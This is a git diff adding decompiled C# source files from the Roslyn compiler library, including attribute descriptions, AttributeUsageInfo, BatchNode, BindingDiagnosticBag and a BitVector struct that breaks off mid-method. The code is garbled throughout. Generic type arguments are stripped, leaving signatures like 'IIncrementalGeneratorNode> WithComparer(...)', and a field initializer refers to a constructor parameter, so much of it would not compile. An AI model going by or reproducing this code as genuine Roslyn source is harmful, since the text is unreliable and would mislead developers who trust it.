s_signatures_HasThis_Void_Type_Only); + AsyncStateMachineAttribute = new AttributeDescription("System.Runtime.CompilerServices", "AsyncStateMachineAttribute", s_signatures_HasThis_Void_Type_Only); + IteratorStateMachineAttribute = new AttributeDescription("System.Runtime.CompilerServices", "IteratorStateMachineAttribute", s_signatures_HasThis_Void_Type_Only); + AsyncIteratorStateMachineAttribute = new AttributeDescription("System.Runtime.CompilerServices", "AsyncIteratorStateMachineAttribute", s_signatures_HasThis_Void_Type_Only); + CompilationRelaxationsAttribute = new AttributeDescription("System.Runtime.CompilerServices", "CompilationRelaxationsAttribute", s_signaturesOfCompilationRelaxationsAttribute); + ReferenceAssemblyAttribute = new AttributeDescription("System.Runtime.CompilerServices", "ReferenceAssemblyAttribute", s_signatures_HasThis_Void_Only); + RuntimeCompatibilityAttribute = new AttributeDescription("System.Runtime.CompilerServices", "RuntimeCompatibilityAttribute", s_signatures_HasThis_Void_Only); + DebuggableAttribute = new AttributeDescription("System.Diagnostics", "DebuggableAttribute", s_signaturesOfDebuggableAttribute); + TypeForwardedToAttribute = new AttributeDescription("System.Runtime.CompilerServices", "TypeForwardedToAttribute", s_signatures_HasThis_Void_Type_Only); + STAThreadAttribute = new AttributeDescription("System", "STAThreadAttribute", s_signatures_HasThis_Void_Only); + MTAThreadAttribute = new AttributeDescription("System", "MTAThreadAttribute", s_signatures_HasThis_Void_Only); + ObsoleteAttribute = new AttributeDescription("System", "ObsoleteAttribute", s_signaturesOfObsoleteAttribute); + TypeLibTypeAttribute = new AttributeDescription("System.Runtime.InteropServices", "TypeLibTypeAttribute", s_signaturesOfTypeLibTypeAttribute); + DynamicAttribute = new AttributeDescription("System.Runtime.CompilerServices", "DynamicAttribute", s_signaturesOfDynamicAttribute); + TupleElementNamesAttribute = new AttributeDescription("System.Runtime.CompilerServices", "TupleElementNamesAttribute", s_signaturesOfTupleElementNamesAttribute); + IsByRefLikeAttribute = new AttributeDescription("System.Runtime.CompilerServices", "IsByRefLikeAttribute", s_signatures_HasThis_Void_Only); + DebuggerHiddenAttribute = new AttributeDescription("System.Diagnostics", "DebuggerHiddenAttribute", s_signatures_HasThis_Void_Only); + DebuggerNonUserCodeAttribute = new AttributeDescription("System.Diagnostics", "DebuggerNonUserCodeAttribute", s_signatures_HasThis_Void_Only); + DebuggerStepperBoundaryAttribute = new AttributeDescription("System.Diagnostics", "DebuggerStepperBoundaryAttribute", s_signatures_HasThis_Void_Only); + DebuggerStepThroughAttribute = new AttributeDescription("System.Diagnostics", "DebuggerStepThroughAttribute", s_signatures_HasThis_Void_Only); + SecurityCriticalAttribute = new AttributeDescription("System.Security", "SecurityCriticalAttribute", s_signaturesOfSecurityCriticalAttribute); + SecuritySafeCriticalAttribute = new AttributeDescription("System.Security", "SecuritySafeCriticalAttribute", s_signatures_HasThis_Void_Only); + DesignerGeneratedAttribute = new AttributeDescription("Microsoft.VisualBasic.CompilerServices", "DesignerGeneratedAttribute", s_signatures_HasThis_Void_Only); + MyGroupCollectionAttribute = new AttributeDescription("Microsoft.VisualBasic", "MyGroupCollectionAttribute", s_signaturesOfMyGroupCollectionAttribute); + ComEventInterfaceAttribute = new AttributeDescription("System.Runtime.InteropServices", "ComEventInterfaceAttribute", s_signaturesOfComEventInterfaceAttribute); + BestFitMappingAttribute = new AttributeDescription("System.Runtime.InteropServices", "BestFitMappingAttribute", s_signatures_HasThis_Void_Boolean_Only); + FlagsAttribute = new AttributeDescription("System", "FlagsAttribute", s_signatures_HasThis_Void_Only); + LCIDConversionAttribute = new AttributeDescription("System.Runtime.InteropServices", "LCIDConversionAttribute", s_signatures_HasThis_Void_Int32_Only); + UnmanagedFunctionPointerAttribute = new AttributeDescription("System.Runtime.InteropServices", "UnmanagedFunctionPointerAttribute", s_signaturesOfUnmanagedFunctionPointerAttribute); + PrimaryInteropAssemblyAttribute = new AttributeDescription("System.Runtime.InteropServices", "PrimaryInteropAssemblyAttribute", s_signaturesOfPrimaryInteropAssemblyAttribute); + ImportedFromTypeLibAttribute = new AttributeDescription("System.Runtime.InteropServices", "ImportedFromTypeLibAttribute", s_signatures_HasThis_Void_String_Only); + DefaultEventAttribute = new AttributeDescription("System.ComponentModel", "DefaultEventAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyConfigurationAttribute = new AttributeDescription("System.Reflection", "AssemblyConfigurationAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyAlgorithmIdAttribute = new AttributeDescription("System.Reflection", "AssemblyAlgorithmIdAttribute", s_signaturesOfAssemblyAlgorithmIdAttribute); + DeprecatedAttribute = new AttributeDescription("Windows.Foundation.Metadata", "DeprecatedAttribute", s_signaturesOfDeprecatedAttribute); + NullableAttribute = new AttributeDescription("System.Runtime.CompilerServices", "NullableAttribute", s_signaturesOfNullableAttribute); + NullableContextAttribute = new AttributeDescription("System.Runtime.CompilerServices", "NullableContextAttribute", s_signaturesOfNullableContextAttribute); + NullablePublicOnlyAttribute = new AttributeDescription("System.Runtime.CompilerServices", "NullablePublicOnlyAttribute", s_signatures_HasThis_Void_Boolean_Only); + WindowsExperimentalAttribute = new AttributeDescription("Windows.Foundation.Metadata", "ExperimentalAttribute", s_signatures_HasThis_Void_Only); + ExperimentalAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "ExperimentalAttribute", s_signatures_HasThis_Void_String_Only); + ExcludeFromCodeCoverageAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "ExcludeFromCodeCoverageAttribute", s_signatures_HasThis_Void_Only); + EnumeratorCancellationAttribute = new AttributeDescription("System.Runtime.CompilerServices", "EnumeratorCancellationAttribute", s_signatures_HasThis_Void_Only); + SkipLocalsInitAttribute = new AttributeDescription("System.Runtime.CompilerServices", "SkipLocalsInitAttribute", s_signatures_HasThis_Void_Only); + NativeIntegerAttribute = new AttributeDescription("System.Runtime.CompilerServices", "NativeIntegerAttribute", s_signaturesOfNativeIntegerAttribute); + ScopedRefAttribute = new AttributeDescription("System.Runtime.CompilerServices", "ScopedRefAttribute", s_signatures_HasThis_Void_Only); + RefSafetyRulesAttribute = new AttributeDescription("System.Runtime.CompilerServices", "RefSafetyRulesAttribute", s_signatures_HasThis_Void_Int32_Only); + ModuleInitializerAttribute = new AttributeDescription("System.Runtime.CompilerServices", "ModuleInitializerAttribute", s_signatures_HasThis_Void_Only); + UnmanagedCallersOnlyAttribute = new AttributeDescription("System.Runtime.InteropServices", "UnmanagedCallersOnlyAttribute", s_signatures_HasThis_Void_Only); + InterpolatedStringHandlerAttribute = new AttributeDescription("System.Runtime.CompilerServices", "InterpolatedStringHandlerAttribute", s_signatures_HasThis_Void_Only); + InterpolatedStringHandlerArgumentAttribute = new AttributeDescription("System.Runtime.CompilerServices", "InterpolatedStringHandlerArgumentAttribute", s_signaturesOfInterpolatedStringArgumentAttribute); + RequiredMemberAttribute = new AttributeDescription("System.Runtime.CompilerServices", "RequiredMemberAttribute", s_signatures_HasThis_Void_Only); + SetsRequiredMembersAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "SetsRequiredMembersAttribute", s_signatures_HasThis_Void_Only); + CompilerFeatureRequiredAttribute = new AttributeDescription("System.Runtime.CompilerServices", "CompilerFeatureRequiredAttribute", s_signatures_HasThis_Void_String_Only); + UnscopedRefAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "UnscopedRefAttribute", s_signatures_HasThis_Void_Only); + InlineArrayAttribute = new AttributeDescription("System.Runtime.CompilerServices", "InlineArrayAttribute", s_signatures_HasThis_Void_Int32_Only); + CollectionBuilderAttribute = new AttributeDescription("System.Runtime.CompilerServices", "CollectionBuilderAttribute", s_signaturesOfCollectionBuilderAttribute); + TypeHandleTargets = new TypeHandleTargetInfo[19] + { + new TypeHandleTargetInfo("System", "AttributeTargets", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Reflection", "AssemblyNameFlags", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.CompilerServices", "MethodImplOptions", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.InteropServices", "CharSet", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.InteropServices", "LayoutKind", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.InteropServices", "UnmanagedType", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.InteropServices", "TypeLibTypeFlags", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.InteropServices", "ClassInterfaceType", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.InteropServices", "ComInterfaceType", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.CompilerServices", "CompilationRelaxations", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Diagnostics.DebuggableAttribute", "DebuggingModes", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Security", "SecurityCriticalScope", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Runtime.InteropServices", "CallingConvention", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Configuration.Assemblies", "AssemblyHashAlgorithm", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.EnterpriseServices", "TransactionOption", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System.Security.Permissions", "SecurityAction", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("System", "Type", SerializationTypeCode.Type), + new TypeHandleTargetInfo("Windows.Foundation.Metadata", "DeprecationType", SerializationTypeCode.Int32), + new TypeHandleTargetInfo("Windows.Foundation.Metadata", "Platform", SerializationTypeCode.Int32) + }.AsImmutable(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeUsageInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeUsageInfo.cs new file mode 100644 index 0000000..d32d8ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeUsageInfo.cs @@ -0,0 +1,183 @@ +using System; +using System.Globalization; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct AttributeUsageInfo : IEquatable +{ + [Flags] + private enum PackedAttributeUsage + { + None = 0, + Assembly = 1, + Module = 2, + Class = 4, + Struct = 8, + Enum = 0x10, + Constructor = 0x20, + Method = 0x40, + Property = 0x80, + Field = 0x100, + Event = 0x200, + Interface = 0x400, + Parameter = 0x800, + Delegate = 0x1000, + ReturnValue = 0x2000, + GenericParameter = 0x4000, + All = 0x7FFF, + Initialized = 0x8000, + AllowMultiple = 0x10000, + Inherited = 0x20000 + } + + private readonly struct ValidTargetsStringLocalizableErrorArgument : IFormattable + { + private readonly string[]? _targetResourceIds; + + internal ValidTargetsStringLocalizableErrorArgument(string[] targetResourceIds) + { + _targetResourceIds = targetResourceIds; + } + + public override string ToString() + { + return ToString(null, null); + } + + public string ToString(string? format, IFormatProvider? formatProvider) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + CultureInfo culture = formatProvider as CultureInfo; + if (_targetResourceIds != null) + { + string[] targetResourceIds = _targetResourceIds; + foreach (string name in targetResourceIds) + { + if (instance.Builder.Length > 0) + { + instance.Builder.Append(", "); + } + instance.Builder.Append(CodeAnalysisResources.ResourceManager.GetString(name, culture)); + } + } + string result = instance.Builder.ToString(); + instance.Free(); + return result; + } + } + + private readonly PackedAttributeUsage _flags = (PackedAttributeUsage)(validTargets | (AttributeTargets)32768); + + internal static readonly AttributeUsageInfo Default = new AttributeUsageInfo(AttributeTargets.All, allowMultiple: false, inherited: true); + + internal static readonly AttributeUsageInfo Null = default(AttributeUsageInfo); + + public bool IsNull => (_flags & PackedAttributeUsage.Initialized) == 0; + + internal AttributeTargets ValidTargets => (AttributeTargets)(_flags & PackedAttributeUsage.All); + + internal bool AllowMultiple => (_flags & PackedAttributeUsage.AllowMultiple) != 0; + + internal bool Inherited => (_flags & PackedAttributeUsage.Inherited) != 0; + + internal bool HasValidAttributeTargets + { + get + { + int validTargets = (int)ValidTargets; + if (validTargets != 0) + { + return (validTargets & -32768) == 0; + } + return false; + } + } + + internal AttributeUsageInfo(AttributeTargets validTargets, bool allowMultiple, bool inherited) + { + if (allowMultiple) + { + _flags |= PackedAttributeUsage.AllowMultiple; + } + if (inherited) + { + _flags |= PackedAttributeUsage.Inherited; + } + } + + public static bool operator ==(AttributeUsageInfo left, AttributeUsageInfo right) + { + return left._flags == right._flags; + } + + public static bool operator !=(AttributeUsageInfo left, AttributeUsageInfo right) + { + return left._flags != right._flags; + } + + public override bool Equals(object? obj) + { + if (obj is AttributeUsageInfo) + { + return Equals((AttributeUsageInfo)obj); + } + return false; + } + + public bool Equals(AttributeUsageInfo other) + { + return this == other; + } + + public override int GetHashCode() + { + int flags = (int)_flags; + return flags.GetHashCode(); + } + + internal object GetValidTargetsErrorArgument() + { + int num = (int)ValidTargets; + if (!HasValidAttributeTargets) + { + return string.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num2 = 0; + while (num > 0) + { + if ((num & 1) != 0) + { + instance.Add(GetErrorDisplayNameResourceId((AttributeTargets)(1 << num2))); + } + num >>= 1; + num2++; + } + return new ValidTargetsStringLocalizableErrorArgument(instance.ToArrayAndFree()); + } + + private static string GetErrorDisplayNameResourceId(AttributeTargets target) + { + return target switch + { + AttributeTargets.Assembly => "Assembly", + AttributeTargets.Class => "Class1", + AttributeTargets.Constructor => "Constructor", + AttributeTargets.Delegate => "Delegate1", + AttributeTargets.Enum => "Enum1", + AttributeTargets.Event => "Event1", + AttributeTargets.Field => "Field", + AttributeTargets.GenericParameter => "TypeParameter", + AttributeTargets.Interface => "Interface1", + AttributeTargets.Method => "Method", + AttributeTargets.Module => "Module", + AttributeTargets.Parameter => "Parameter", + AttributeTargets.Property => "Property", + AttributeTargets.ReturnValue => "Return1", + AttributeTargets.Struct => "Struct1", + _ => throw ExceptionUtilities.UnexpectedValue(target), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BatchNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BatchNode.cs new file mode 100644 index 0000000..a82ecc0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BatchNode.cs @@ -0,0 +1,120 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class BatchNode : IIncrementalGeneratorNode> +{ + private readonly IIncrementalGeneratorNode _sourceNode; + + private readonly IEqualityComparer> _comparer; + + private readonly string? _name; + + public BatchNode(IIncrementalGeneratorNode sourceNode, IEqualityComparer>? comparer = null, string? name = null) + { + _sourceNode = sourceNode; + _comparer = comparer ?? EqualityComparer>.Default; + _name = name; + } + + public IIncrementalGeneratorNode> WithComparer(IEqualityComparer> comparer) + { + return new BatchNode(_sourceNode, comparer, _name); + } + + public IIncrementalGeneratorNode> WithTrackingName(string name) + { + return new BatchNode(_sourceNode, _comparer, name); + } + + private (ImmutableArray, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)>) GetValuesAndInputs(NodeStateTable sourceTable, NodeStateTable>? previousTable, NodeStateTable>.Builder newTable) + { + ArrayBuilder<(IncrementalGeneratorRunStep, int)> arrayBuilder = (newTable.TrackIncrementalSteps ? ArrayBuilder<(IncrementalGeneratorRunStep, int)>.GetInstance() : null); + int num = 0; + NodeStateTable.Enumerator enumerator = sourceTable.GetEnumerator(); + while (enumerator.MoveNext()) + { + NodeStateEntry current = enumerator.Current; + arrayBuilder?.Add((current.Step, current.OutputIndex)); + if (current.State != EntryState.Removed) + { + num++; + } + } + ImmutableArray<(IncrementalGeneratorRunStep, int)> item = arrayBuilder?.ToImmutableAndFree() ?? default(ImmutableArray<(IncrementalGeneratorRunStep, int)>); + return (tryReusePreviousTableValues(num) ?? computeCurrentTableValues(num), item); + ImmutableArray computeCurrentTableValues(int entryCount) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(entryCount); + NodeStateTable.Enumerator enumerator2 = sourceTable.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NodeStateEntry current2 = enumerator2.Current; + if (current2.State != EntryState.Removed) + { + instance.Add(current2.Item); + } + } + return instance.ToImmutableAndFree(); + } + ImmutableArray? tryReusePreviousTableValues(int entryCount) + { + if (previousTable == null) + { + return null; + } + if (previousTable.Count != 1) + { + return null; + } + ImmutableArray item2 = previousTable.Single().item; + if (item2.Length != entryCount) + { + return null; + } + int num2 = 0; + NodeStateTable.Enumerator enumerator2 = sourceTable.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NodeStateEntry current2 = enumerator2.Current; + if (current2.State != EntryState.Removed) + { + if (!EqualityComparer.Default.Equals(current2.Item, item2[num2])) + { + return null; + } + num2++; + } + } + return item2; + } + } + + public NodeStateTable> UpdateStateTable(DriverStateTable.Builder builder, NodeStateTable>? previousTable, CancellationToken cancellationToken) + { + NodeStateTable latestStateTableForNode = builder.GetLatestStateTableForNode(_sourceNode); + NodeStateTable>.Builder builder2 = builder.CreateTableBuilder>(previousTable, _name, _comparer); + SharedStopwatch sharedStopwatch = SharedStopwatch.StartNew(); + var (value, stepInputs) = GetValuesAndInputs(latestStateTableForNode, previousTable, builder2); + if (previousTable == null || previousTable.IsEmpty) + { + builder2.AddEntry(value, EntryState.Added, sharedStopwatch.Elapsed, stepInputs, EntryState.Added); + } + else if ((!latestStateTableForNode.IsCached || !builder2.TryUseCachedEntries(sharedStopwatch.Elapsed, stepInputs)) && !builder2.TryModifyEntry(value, _comparer, sharedStopwatch.Elapsed, stepInputs, EntryState.Modified)) + { + builder2.AddEntry(value, EntryState.Added, sharedStopwatch.Elapsed, stepInputs, EntryState.Added); + } + NodeStateTable> nodeStateTable = builder2.ToImmutableAndFree(); + this.LogTables, TInput>(_name, previousTable, nodeStateTable, latestStateTableForNode); + return nodeStateTable; + } + + public void RegisterOutput(IIncrementalGeneratorOutputNode output) + { + _sourceNode.RegisterOutput(output); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BindingDiagnosticBag.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BindingDiagnosticBag.cs new file mode 100644 index 0000000..7c3dee3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BindingDiagnosticBag.cs @@ -0,0 +1,317 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal abstract class BindingDiagnosticBag +{ + public readonly DiagnosticBag? DiagnosticBag; + + [MemberNotNullWhen(true, "DiagnosticBag")] + internal bool AccumulatesDiagnostics + { + [MemberNotNullWhen(true, "DiagnosticBag")] + get + { + return DiagnosticBag != null; + } + } + + protected BindingDiagnosticBag(DiagnosticBag? diagnosticBag) + { + DiagnosticBag = diagnosticBag; + } + + internal void AddRange(ImmutableArray diagnostics) where T : Diagnostic + { + DiagnosticBag?.AddRange(diagnostics); + } + + internal void AddRange(IEnumerable diagnostics) + { + DiagnosticBag?.AddRange(diagnostics); + } + + internal bool HasAnyResolvedErrors() + { + return DiagnosticBag?.HasAnyResolvedErrors() ?? false; + } + + internal bool HasAnyErrors() + { + return DiagnosticBag?.HasAnyErrors() ?? false; + } + + internal void Add(Diagnostic diag) + { + DiagnosticBag?.Add(diag); + } +} +internal abstract class BindingDiagnosticBag : BindingDiagnosticBag where TAssemblySymbol : class, IAssemblySymbolInternal +{ + public readonly ICollection? DependenciesBag; + + internal bool AccumulatesDependencies => DependenciesBag != null; + + protected BindingDiagnosticBag(DiagnosticBag? diagnosticBag, ICollection? dependenciesBag) + : base(diagnosticBag) + { + DependenciesBag = dependenciesBag; + } + + protected BindingDiagnosticBag(bool usePool) + : this(usePool ? Microsoft.CodeAnalysis.DiagnosticBag.GetInstance() : new DiagnosticBag(), (ICollection?)(usePool ? PooledHashSet.GetInstance() : new HashSet())) + { + } + + internal virtual void Free() + { + DiagnosticBag?.Free(); + ((PooledHashSet)DependenciesBag)?.Free(); + } + + internal ImmutableBindingDiagnostic ToReadOnly() + { + return new ImmutableBindingDiagnostic(DiagnosticBag?.ToReadOnly() ?? default(ImmutableArray), DependenciesBag?.ToImmutableArray() ?? default(ImmutableArray)); + } + + internal ImmutableBindingDiagnostic ToReadOnlyAndFree() + { + ImmutableBindingDiagnostic result = ToReadOnly(); + Free(); + return result; + } + + internal void AddRangeAndFree(BindingDiagnosticBag other) + { + AddRange(other); + other.Free(); + } + + internal void Clear() + { + DiagnosticBag?.Clear(); + DependenciesBag?.Clear(); + } + + internal void AddRange(ImmutableBindingDiagnostic other, bool allowMismatchInDependencyAccumulation = false) + { + AddRange(other.Diagnostics); + AddDependencies(other.Dependencies); + } + + internal void AddRange(BindingDiagnosticBag? other, bool allowMismatchInDependencyAccumulation = false) + { + if (other != null) + { + AddRange(other.DiagnosticBag); + AddDependencies(other.DependenciesBag); + } + } + + internal void AddRange(DiagnosticBag? bag) + { + if (bag != null) + { + DiagnosticBag?.AddRange(bag); + } + } + + internal void AddDependency(TAssemblySymbol? dependency) + { + if (dependency != null && DependenciesBag != null) + { + DependenciesBag.Add(dependency); + } + } + + internal void AddDependencies(ICollection? dependencies) + { + if (dependencies.IsNullOrEmpty() || DependenciesBag == null) + { + return; + } + foreach (TAssemblySymbol dependency in dependencies) + { + DependenciesBag.Add(dependency); + } + } + + internal void AddDependencies(IReadOnlyCollection? dependencies) + { + if (dependencies.IsNullOrEmpty() || DependenciesBag == null) + { + return; + } + foreach (TAssemblySymbol dependency in dependencies) + { + DependenciesBag.Add(dependency); + } + } + + internal void AddDependencies(ImmutableHashSet? dependencies) + { + if (dependencies.IsNullOrEmpty() || DependenciesBag == null) + { + return; + } + foreach (TAssemblySymbol dependency in dependencies) + { + DependenciesBag.Add(dependency); + } + } + + internal void AddDependencies(ImmutableArray dependencies) + { + if (!dependencies.IsDefaultOrEmpty && DependenciesBag != null) + { + ImmutableArray.Enumerator enumerator = dependencies.GetEnumerator(); + while (enumerator.MoveNext()) + { + TAssemblySymbol current = enumerator.Current; + DependenciesBag.Add(current); + } + } + } + + internal void AddDependencies(BindingDiagnosticBag dependencies, bool allowMismatchInDependencyAccumulation = false) + { + AddDependencies(dependencies.DependenciesBag); + } + + internal void AddDependencies(UseSiteInfo useSiteInfo) + { + if (DependenciesBag != null) + { + AddDependency(useSiteInfo.PrimaryDependency); + AddDependencies(useSiteInfo.SecondaryDependencies); + } + } + + internal void AddDependencies(CompoundUseSiteInfo useSiteInfo) + { + if (DependenciesBag != null) + { + AddDependencies(useSiteInfo.Dependencies); + } + } + + internal bool Add(SyntaxNode node, CompoundUseSiteInfo useSiteInfo) + { + return Add(useSiteInfo, (SyntaxNode syntaxNode) => syntaxNode.Location, node); + } + + internal bool AddDiagnostics(SyntaxNode node, CompoundUseSiteInfo useSiteInfo) + { + return AddDiagnostics(useSiteInfo, (SyntaxNode syntaxNode) => syntaxNode.Location, node); + } + + internal bool Add(SyntaxToken token, CompoundUseSiteInfo useSiteInfo) + { + return Add(useSiteInfo, (SyntaxToken syntaxToken) => syntaxToken.GetLocation(), token); + } + + internal bool Add(Location location, CompoundUseSiteInfo useSiteInfo) + { + return Add(useSiteInfo, (Location result) => result, location); + } + + internal bool AddDiagnostics(Location location, CompoundUseSiteInfo useSiteInfo) + { + return AddDiagnostics(useSiteInfo, (Location result) => result, location); + } + + internal bool AddDiagnostics(CompoundUseSiteInfo useSiteInfo, Func getLocation, TData data) + { + DiagnosticBag diagnosticBag = DiagnosticBag; + if (diagnosticBag != null) + { + if (!useSiteInfo.Diagnostics.IsNullOrEmpty()) + { + bool flag = false; + Location location = getLocation(data); + foreach (DiagnosticInfo diagnostic in useSiteInfo.Diagnostics) + { + if (ReportUseSiteDiagnostic(diagnostic, diagnosticBag, location)) + { + flag = true; + } + } + if (flag) + { + return true; + } + } + } + else if (useSiteInfo.AccumulatesDiagnostics && !useSiteInfo.Diagnostics.IsNullOrEmpty()) + { + foreach (DiagnosticInfo diagnostic2 in useSiteInfo.Diagnostics) + { + if (diagnostic2.Severity == DiagnosticSeverity.Error) + { + return true; + } + } + } + return false; + } + + internal bool Add(CompoundUseSiteInfo useSiteInfo, Func getLocation, TData data) + { + if (AddDiagnostics(useSiteInfo, getLocation, data)) + { + return true; + } + AddDependencies(useSiteInfo); + return false; + } + + protected abstract bool ReportUseSiteDiagnostic(DiagnosticInfo diagnosticInfo, DiagnosticBag diagnosticBag, Location location); + + internal bool Add(UseSiteInfo useSiteInfo, SyntaxNode node) + { + return Add(useSiteInfo, (SyntaxNode syntaxNode) => syntaxNode.Location, node); + } + + internal bool Add(UseSiteInfo useSiteInfo, Location location) + { + return Add(useSiteInfo, (Location result) => result, location); + } + + internal bool Add(UseSiteInfo useSiteInfo, SyntaxToken token) + { + return Add(useSiteInfo, (SyntaxToken syntaxToken) => syntaxToken.GetLocation(), token); + } + + internal bool Add(UseSiteInfo info, Func getLocation, TData data) + { + if (ReportUseSiteDiagnostic(info.DiagnosticInfo, getLocation, data)) + { + return true; + } + AddDependencies(info); + return false; + } + + internal bool ReportUseSiteDiagnostic(DiagnosticInfo? info, Location location) + { + return ReportUseSiteDiagnostic(info, (Location result) => result, location); + } + + internal bool ReportUseSiteDiagnostic(DiagnosticInfo? info, Func getLocation, TData data) + { + if (info == null) + { + return false; + } + if (DiagnosticBag != null) + { + return ReportUseSiteDiagnostic(info, DiagnosticBag, getLocation(data)); + } + return info.Severity == DiagnosticSeverity.Error; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BitVector.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BitVector.cs new file mode 100644 index 0000000..682c3e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BitVector.cs @@ -0,0 +1,377 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal struct BitVector : IEquatable +{ + private const ulong ZeroWord = 0uL; + + private const int Log2BitsPerWord = 6; + + public const int BitsPerWord = 64; + + private static readonly BitVector s_nullValue = default(BitVector); + + private static readonly BitVector s_emptyValue = new BitVector(0uL, s_emptyArray, 0); + + private ulong _bits0; + + private ulong[] _bits; + + private int _capacity; + + private static ulong[] s_emptyArray => Array.Empty(); + + public int Capacity => _capacity; + + public bool IsNull => _bits == null; + + public static BitVector Null => s_nullValue; + + public static BitVector Empty => s_emptyValue; + + public bool this[int index] + { + get + { + if (index < 0) + { + throw new IndexOutOfRangeException(); + } + if (index >= _capacity) + { + return false; + } + int num = (index >> 6) - 1; + return IsTrue((num < 0) ? _bits0 : _bits[num], index); + } + set + { + if (index < 0) + { + throw new IndexOutOfRangeException(); + } + if (index >= _capacity) + { + EnsureCapacity(index + 1); + } + int num = (index >> 6) - 1; + int num2 = index & 0x3F; + ulong num3 = (ulong)(1L << num2); + if (num < 0) + { + if (value) + { + _bits0 |= num3; + } + else + { + _bits0 &= ~num3; + } + } + else if (value) + { + _bits[num] |= num3; + } + else + { + _bits[num] &= ~num3; + } + } + } + + private BitVector(ulong bits0, ulong[] bits, int capacity) + { + WordsForCapacity(capacity); + _bits0 = bits0; + _bits = bits; + _capacity = capacity; + } + + public bool Equals(BitVector other) + { + if (_capacity == other._capacity && _bits0 == other._bits0) + { + return _bits.AsSpan().SequenceEqual(other._bits.AsSpan()); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is BitVector other) + { + return Equals(other); + } + return false; + } + + public static bool operator ==(BitVector left, BitVector right) + { + return left.Equals(right); + } + + public static bool operator !=(BitVector left, BitVector right) + { + return !left.Equals(right); + } + + public override int GetHashCode() + { + int currentKey = _bits0.GetHashCode(); + if (_bits != null) + { + for (int i = 0; i < _bits.Length; i++) + { + currentKey = Hash.Combine(_bits[i].GetHashCode(), currentKey); + } + } + return Hash.Combine(_capacity, currentKey); + } + + private static int WordsForCapacity(int capacity) + { + if (capacity <= 0) + { + return 0; + } + return capacity - 1 >> 6; + } + + [Conditional("DEBUG_BITARRAY")] + private void Check() + { + } + + public void EnsureCapacity(int newCapacity) + { + if (newCapacity > _capacity) + { + int num = WordsForCapacity(newCapacity); + if (num > _bits.Length) + { + Array.Resize(ref _bits, num); + } + _capacity = newCapacity; + } + } + + public IEnumerable Words() + { + if (_capacity > 0) + { + yield return _bits0; + } + int i = 0; + ulong[] bits = _bits; + for (int n = ((bits != null) ? bits.Length : 0); i < n; i++) + { + yield return _bits[i]; + } + } + + public IEnumerable TrueBits() + { + if (_bits0 != 0L) + { + for (int bit = 0; bit < 64; bit++) + { + ulong num = (ulong)(1L << bit); + if ((_bits0 & num) != 0L) + { + if (bit >= _capacity) + { + yield break; + } + yield return bit; + } + } + } + for (int bit = 0; bit < _bits.Length; bit++) + { + ulong w = _bits[bit]; + if (w == 0L) + { + continue; + } + for (int b = 0; b < 64; b++) + { + ulong num2 = (ulong)(1L << b); + if ((w & num2) != 0L) + { + int num3 = (bit + 1 << 6) | b; + if (num3 >= _capacity) + { + yield break; + } + yield return num3; + } + } + } + } + + public static BitVector FromWords(ulong bits0, ulong[] bits, int capacity) + { + return new BitVector(bits0, bits, capacity); + } + + public static BitVector Create(int capacity) + { 